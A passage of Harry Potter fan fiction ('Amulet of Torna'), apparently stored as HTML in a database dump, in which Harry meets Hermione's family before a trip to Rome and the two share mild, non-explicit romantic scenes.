to him.\n&#8220;I&#8217;m Jenna, Hermione&#8217;s mother.&#8221; She then pointed to the man, &#8220;This is Kevin,\nHermione&#8217;s father and this is Mavis, Hermione&#8217;s grandmother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded with a polite smile in the direction of\nHermione&#8217;s family.&nbsp; &#8220;Well I&#8217;m pleased to\nmeet you.&#8221; He said, his voice coming out a little shaky.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So you&#8217;re my little Muffin&#8217;s boyfriend are you?&#8221; Kevin\nsaid, his eyes trying to stare Harry down. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry gulped down a breath of air; Hermione&#8217;s father was\ndownright scary.&nbsp; &#8220;Uh, yes sir.&#8221; The room\nfelt small, warm and uncomfortable.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Kevin stepped closer to Harry, &#8220;I trust you are respectful\nof my daughter.&#8221;&nbsp; He studied the young\nman.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes sir.&#8221; Harry nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well just in case you over step your bounds with my\ndaughter I have a gun and a shovel, I doubt anyone would miss you.&#8221; Kevin said.\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s eyes widened, &#8220;Uh sir, I would never. I mean&#8212;&#8221; He\nwas cut off by Kevin&#8217;s laughter.&nbsp; Harry\ndidn&#8217;t think this was so funny, what was he laughing\nabout</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Kevin smiled, &#8220;Ah relax there Harry.&#8221; He smacked him on the\nback with such a force that it knocked Harry forward a bit.&nbsp; &#8220;I&#8217;m just playing with ya.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jenna and Mavis were laughing as well, even Sirius was\njoining in on the laughs, and Harry just didn&#8217;t see this as funny. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Harry lighten up,&#8221; Kevin said with a smile.&nbsp; &#8220;We all know how much you care our daughter;\nI just love seeing the boyfriend&#8217;s reaction when I give them the psycho, over\nprotective parent conversation. I just couldn&#8217;t resist, even with you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I didn&#8217;t think it was very funny.&#8221; Harry mumbled which\nonly caused Hermione&#8217;s parents to laugh even harder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Kevin, leave the poor boy alone.&#8221; Mavis said then turned\nto Harry with a smile.&nbsp; &#8220;Why don&#8217;t you go\nup and see Hermione, then we&#8217;ll get you a guest room.&nbsp; You both leave for Rome at nine O&#8217;clock sharp\ntomorrow.&nbsp;&nbsp; That&#8217;s why Hermione isn&#8217;t\ndown here to greet you she&#8217;s still packing her stuff up,\nwe told her that as soon as you arrive we would send you up. Her room is the\nfirst door on the right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and he moved through the hall, he found the\nstairs and started to climb.&nbsp; He reached\nthe top of the stairs; he heard the radio on and someone singing to it.&nbsp; And since Hermione didn&#8217;t have any brothers\nor sisters it must be her singing.&nbsp; He\nstarted towards Hermione&#8217;s open door.&nbsp; He\nsaw her.&nbsp; Her back was toward him and she\nwas moving around, dancing a bit while singing to a catchy tune from the\nnineteen seventies he was sure the group was called ABBA, an American group\nthat the Dursleys used to play often.&nbsp;\nHermione was also folding a shirt at the same time and placed it into\nher suitcase.&nbsp; She was singing so loudly\nand moving to the tune, that Harry couldn&#8217;t help but smile.&nbsp; She didn&#8217;t even notice she had an audience.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;There was something in the air last night, the stars were\nbright. Fernando.&#8221; Hermione sang loudly, her voice matched the pitch and even\nharmonized with the singers.&nbsp; Harry never\nreally knew Hermione sang so lovely. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Harry leaned up\nagainst the doorjamb simply watching her, and listening to her voice.&nbsp;&nbsp; He watched her close the suitcase and set it\non the floor by her bed, she jumped up to sing the grand finale of the song, she jumped towards the door.&nbsp;\nHer eyes went wide and her face flushed bright red, her mouth frozen open.&nbsp; Hermione just stared.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry couldn&#8217;t help it, the look on her face made him laugh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione dropped her arms from up in the air and looked up\nat Harry, &#8220;Heh, heh.&nbsp; Just how long were you standing there?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Long enough.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You didn&#8217;t see me, uh? Did you?&#8221; Hermione&#8217;s face was\nflushing even more now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah.&#8221; Harry grinned, &#8220;But you\nlooked really cute.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A light seemed to snap on in Hermione&#8217;s head; Harry was\nstanding in her room. &#8220;Whoa wait a minute, you&#8217;re here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Boy, you&#8217;re really quick today Hermione.&#8221;&nbsp; Harry was sarcastic. &#8220;Yeah I&#8217;m here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione quickly went up to him and flung her arms around\nhim with such a force that it almost knocked him over for the second time\ntoday.&nbsp; She held him really tightly to\nher.&nbsp; &#8220;I&#8217;m so happy you are here and\ngoing to Rome with me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smiled as his arms went around her, holding her so\nvery tight to him as well.&nbsp; &#8220;I&#8217;m happy\nabout that too.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione pulled back looking up at him, she noticed\nsomething was different.&nbsp; &#8220;Harry you look\ndifferent.&#8221;&nbsp; She couldn&#8217;t exactly put her\nfinger on it, but something was indeed different.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh really, what could be different about me? I have the\nsame color hair I had when we met.&#8221;&nbsp;\nHarry wondered how long it would be for her notice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione reached up and ran her fingers lightly through his\nhair, &#8220;No that&#8217;s not it. It&#8217;s something else.&#8221; She continued to scan his face;\nshe honestly didn&#8217;t know what was different.&nbsp;\nShe looked straight into his eyes.&nbsp;\nHis eyes. Oh that was it,\nthey were so bright and beautiful.&nbsp; Her\njaw dropped &#8220;Oh, what happened to your glasses Harry?&#8221; She lightly touched the\nbridge of his nose where his glasses used to rest; he closed his eyes as\nHermione traced her finger over his cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I&#8217;ve been wanting to see\nproperly without glasses for awhile now.&#8221; He said with his eyes closed. He\nloved the feel of her fingers on his face.&nbsp;\n&#8220;Well a few days when the summer holidays started I read in the paper\nabout this Magic Eye Surgery and I went for it.&#8221;&nbsp; He took in a breath, &#8220;So what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She kissed him on both cheeks, &#8220;I think you look very\nhandsome, with or without your glasses.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry opened his eyes staring at her, &#8220;I am so very happy to\nbe able to spend the summer with you, I was just going\nto sit at home all holiday and think about you.&nbsp;\nBut now I actually get to be with you.&#8221;&nbsp;\nHe took in a breath, &#8220;What made your parents agree to let me go with you\nanyway?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I told them how much I needed you, and they knew what\nhappened this past school year with Him, Salazar and Rowena. They know how much\nyou mean to me.&#8221;&nbsp; Hermione smiled up at\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry gave her a smile, &#8220;Can I kiss you?&#8221; He asked quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Anytime you want, you don&#8217;t even have to ask.&#8221; Hermione\nsaid with a shy smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He leaned in lightly covering her mouth with his, the world melted\naway. It had been too long since he&#8217;d kissed her, he could do this\nforever.&nbsp; He felt her arms tighten around\nhim, as did his.&nbsp; Her mouth opened\nunderneath his, he took this as an invitation for more.&nbsp; His tongue touched hers, and he felt Hermione\npressing her mouth harder against his and her tongue dancing against his.&nbsp; Harry moaned softly feeling her kissing him\nharder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">There was a knock on the open door and Harry and Hermione\nimmediately sprung apart, Harry turned to find Hermione&#8217;s mother standing\nthere.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, mum.&#8221; Hermione said.&nbsp;\n&#8220;We- we were just talking.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can see that.&#8221; Jenna smiled, &#8220;Although when I was in\nschool to talk words actually have to pass back and forth between the\nconversing couple.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jenna looked at Harry &#8220;I&#8217;m sure you&#8217;re hungry Harry, lunch\nis ready.&nbsp; Why don&#8217;t you go down and get\nsomething to eat.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded, understanding.&nbsp;\nHe knew that Jenna just wanted to talk to Hermione so he left with a\nsmile and started down the stairs to the kitchen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jenna walked into the room and sat down on Hermione&#8217;s\nbed.&nbsp; &#8220;So that&#8217;s your Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled, her cheeks tinting pink, &#8220;Yeah, he&#8217;s my\nHarry.&#8221; She glanced down at her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione,&#8221; Jenna took a breath.&nbsp; &#8220;I know that Harry is special to you and well\nI know that he loves you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I love him too mum, very much.&#8221; Hermione sat down on the\nbed next to her mother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can see that, but you two are just so young and will\nassume that you two have been well, close, am I\nright?&#8221;&nbsp; Jenna searched her daughter&#8217;s\ndown turned face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s head snapped up looking at her mother, she was\njust waiting for the lecture and yelling to start about how disappointed her\nmother was in her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jenna sniggered a bit. &#8220;Hermione relax, I&#8217;m not going to\nyell at you.&nbsp; I trust you to make your own\ndecisions and to make the right ones.&nbsp;\nSure I&#8217;m a little disappointed but I understand.&nbsp; Now if your father knew that his little\nMuffin was already engaged in a physical relationship he would probably fly\nthrough the roof, and the psychotic, overactive parent would actually shine\nthrough.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione wondered why her parents would never just use the\nword sex, or say sexual in a conversation with her, even when she was learning\nabout the birds and the bees they still wouldn&#8217;t use the word sex in front of her.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry&#8217;s just not some random guy mum, he&#8217;s different. I\nwish I could explain it more to you, in a way that you would understand.&nbsp; Hey, I didn&#8217;t even understand it at first.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well anyone who would risk their own life for yours has got\nto be something special.&#8221; Jenna touched her daughter&#8217;s cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He is, Harry is really special.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I hope you have everything you need, to have a good\ntime without worrying about pregnancy.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Mum!&#8221; Hermione was shocked that her mother had just said\nthat.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jenna just laughed, &#8220;Come on, let&#8217;s get some lunch before\nit&#8217;s all gone, you know how men can get.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded and they started down the stairs, she told\nher mother about Ron the human garbage disposal.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Down stairs in the kitchen Harry was eating a nice lunch of\npeanut butter and jelly sandwiches, with Cheetos and\nsome cranberry juice.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry saw Hermione and Jenna come into the kitchen with\nsmiles on their faces.&nbsp; Hermione went\nover to her grandmother and kissed her on the cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hey Nanna.&#8221;&nbsp; Hermione then looked at Harry&#8217;s Godfather\nSirius and gave him a polite smile. &#8220;Hello Sirius.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How are you doing Hermione, is everything okay with you.&#8221;\nSirius asked as Hermione took a seat next to Harry.&nbsp; &#8220;How have you been holding up?&nbsp; Harry told me about your nightmares.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled a little. &#8220;Well they are getting better, I\nmean it&#8217;s not like it was.&nbsp; But I still\nget those flashes, you know.&#8221; She felt a hand come down on top of hers, she\nturned and found Harry smiling at her, he gave her\nhand a gentle squeeze.&nbsp; &#8220;I&#8217;ll get past\nit, I know I will.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Kevin gave Hermione a\nplate of food.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah Hermione, done packing already?&#8221;\nMavis asked.&nbsp; She wanted to change the\nsubject.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes, it took me forever.&#8221; Hermione said taking a drink of\nher juice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well maybe if you did less singing and dancing you would\nget more packing done.&#8221; Harry said with a smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ha-ha you are so funny Harry, you should be a comedian.&#8221;\nHermione was sarcastic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know I was thinking the same thing.&#8221; Harry grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now Muffin.&#8221; Her father said very\nseriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Dad!&#8221; Hermione&#8217;s face flushed from\nembarrassment.&nbsp; &#8220;Don&#8217;t call me that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sirius covered his mouth with his hand to try and keep in\nthe tiny snigger. He saw Harry glare at him which made him have to fight his\nlaughter even more.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry sometimes he wished that he could have a mother or\nfather to give him a pet name and embarrass him in front of his girlfriend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Kevin chuckled and sat down across from her. &#8220;I know you are\ngoing to stay with Amelia, now I don&#8217;t want you coming back acting like her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Dad, don&#8217;t worry about that. I know my limits.&#8221; Hermione\nsaid with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Amelia is your mother&#8217;s, sister&#8217;s, daughter.&nbsp; That side of the family is a bit, oh what&#8217;s\nthe word.&#8221; Kevin paused a moment thinking of the right word without hurting his\nwife&#8217;s feelings&nbsp;&nbsp; &#8220;Eccentric.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Dad I know how Amelia is, she&#8217;s the one that said I needed\na change and bought me a whole new look last year.&nbsp; I didn&#8217;t want her too, she just did it.&nbsp; Although after awhile I did\ntend to like it.&#8221;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s what I&#8217;m worried about.&#8221; Kevin said, &#8220;Just remember,\nkeep your wits about you and you&#8217;ll be fine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I will dad, I will. You can trust me.&#8221; Hermione said with a\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I can trust you, its Amelia I don&#8217;t trust.&#8221; Kevin felt\na smack on his arm and looked up into his wife&#8217;s narrowed gaze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;My family is fine, Amelia is just a bit outspoken.&nbsp; Hermione will be just fine.&#8221; Jenna said\nlooking at Hermione then at Harry.&nbsp; &#8220;Plus\nif she gets too out of hand, like Hermione has been known to get, Harry there\nwill set her in the right direction again, won&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry turned to Hermione, &#8220;When do you get out of hand?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s face flushed, &#8220;Um, well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Mavis chuckled. &#8220;Hermione is a bit different when not in\nschool Harry,&#8221; She said with a smile.&nbsp;\n&#8220;She is more like her mother&#8217;s side of the family in that regard.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m not that bad.&#8221; Hermione crossed her arms over her bosom\nand sat back in her chair glaring at the saltshaker sitting on the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No you&#8217;re not dear, you are one of the more mild ones but\nyou still have that streak in you. And when it wants to come out, it does.&#8221;\nMavis turned to Harry, &#8220;So you better be ready for it.&#8221; She smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Now this was interesting, he just had to see this other,\nhidden side of Hermione.&nbsp; He sat back\nlooking at the Grangers, they were all arguing about Amelia or other members of\nJenna&#8217;s side of the family.&nbsp; It was\nwonderful, he had never really been part of a family before, this was a\nglorious feeling, and one that he hoped would never go away.&nbsp; Tomorrow he would leave for Rome\nwith Hermione. It was going to be a great summer holiday. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">======</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Ah, the very first\nchapter of Amulet of Torna, so what did you guys think. Like it? Love it? Hate\nit?&nbsp; Read and review, thanks Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(43, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer: I don&#8217;t own original\nHarry Potter characters or situations, They belong to\nJ.K Rowlings. If I owned them, I would be sitting in Hawaii\nright now sipping drinks with little umbrellas in them and having hot guys\nserving my every need. *sigh* Oh well.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A/N: this chapter isn&#8217;t beta-ed\nyet but it will be later tonight and I will re-upload. I havent&#8217;\naddressed the reviewers yet on this, when I re-upload you will all be\naddressed.&nbsp; Sorry this chapter took so long\nbut I was fighting a case of writers block. You all know how that can be,&nbsp; Enjoy chapter 2</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Amulet\nof Torna</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n2&#8212;Roman Holiday</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><b style="mso-bidi-font-weight:\nnormal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><b style="mso-bidi-font-weight:\nnormal">BOUNCY SQUEEK BOUNCY SQUEEK BOUNCY.</b>&nbsp;\nHarry woke to a serious bouncing of his bed, he lifted his head and\ntilted his body to the side looking upward, his vision was still blurry as he saw\na tall figure bouncing up and down on his bed. <b style="mso-bidi-font-weight:\nnormal">BOUNCY SQUEEK BOUNCY.</b>&nbsp; He\nrubbed his eyes from the sleep, he was able to see properly. It was Hermione\njumping up and down on his bed like a little girl on Christmas morning.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on Harry time to get up.\nTime to get up.&#8221; Hermione said in excitement. <b style="mso-bidi-font-weight:\nnormal">BOUNCY SQUEEK BOUNCY.</b></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry yawned, &#8220;Hermione how can\nyou have this much energy at&#8230;.&#8221; He looked over at the digital clock on the\nnightstand. &#8220;At seven in the morning.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shrugged, <b style="mso-bidi-font-weight:normal">&nbsp;BOUNCY SQUEEK KLUNK </b>she landed on his\nbed.&nbsp; &#8220;I&#8217;m just really excited about\ngoing to Italy\nwith you.&#8221; She smiled. &#8220;So get up already.&#8221; Hermione said as Harry sat up; as\nhe did so the blanket fell away revealing his bare chest to her sight.&nbsp; Hermione gave an appreciative whistle.&nbsp; &#8220;Lookin&#8217;\ngood Potter.&#8221; She wiggled her eyebrows.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A smaller yawn fought its way out\nof him.&nbsp; Harry smirked. &#8220;You like what\nyou see do you?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Always.&#8221; Hermione replied with a\ndelightful smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry lifted a brow of his own, &#8220;Now that\nyou&#8217;ve seen mine, do I get to see yours?&#8221; He leaned forward and stuck his\nfinger in the top of her tank top and pulled it a bit trying to look.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She pushed his hand away, &#8220;maybe\nyou will, if you&#8217;re a good boy and do what I say.&#8221; Hermione lifted her finger\nup in the air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that how its going to be is\nit?&#8221; Harry said with a half grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221; Hermione said calmly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione stared at each\nother for a long moment, it was a stare down.&nbsp;\nThey were supposed to keep eye contact until the other blinked. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Out of nowhere Hermione\npractically flew at him, knocking him back onto the bed with her on top of\nhim.&nbsp; She smiled down, looking\nsweetly.&nbsp;&nbsp;&nbsp;&nbsp; Hermione saw Harry blink, &#8220;I\nwin.&#8221; She said, a triumphant smile graced her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And what would you like as a prize\nMiss Granger?&#8221; Harry asked innocently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just you Mr. Potter, just you.&#8221;\nHer voice had dropped to almost a whisper.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s hand reached up and cupped\nher cheek; he felt her press more into hand while he watched her eyes\nclose.&nbsp; &#8220;You have me Hermione.&#8221; 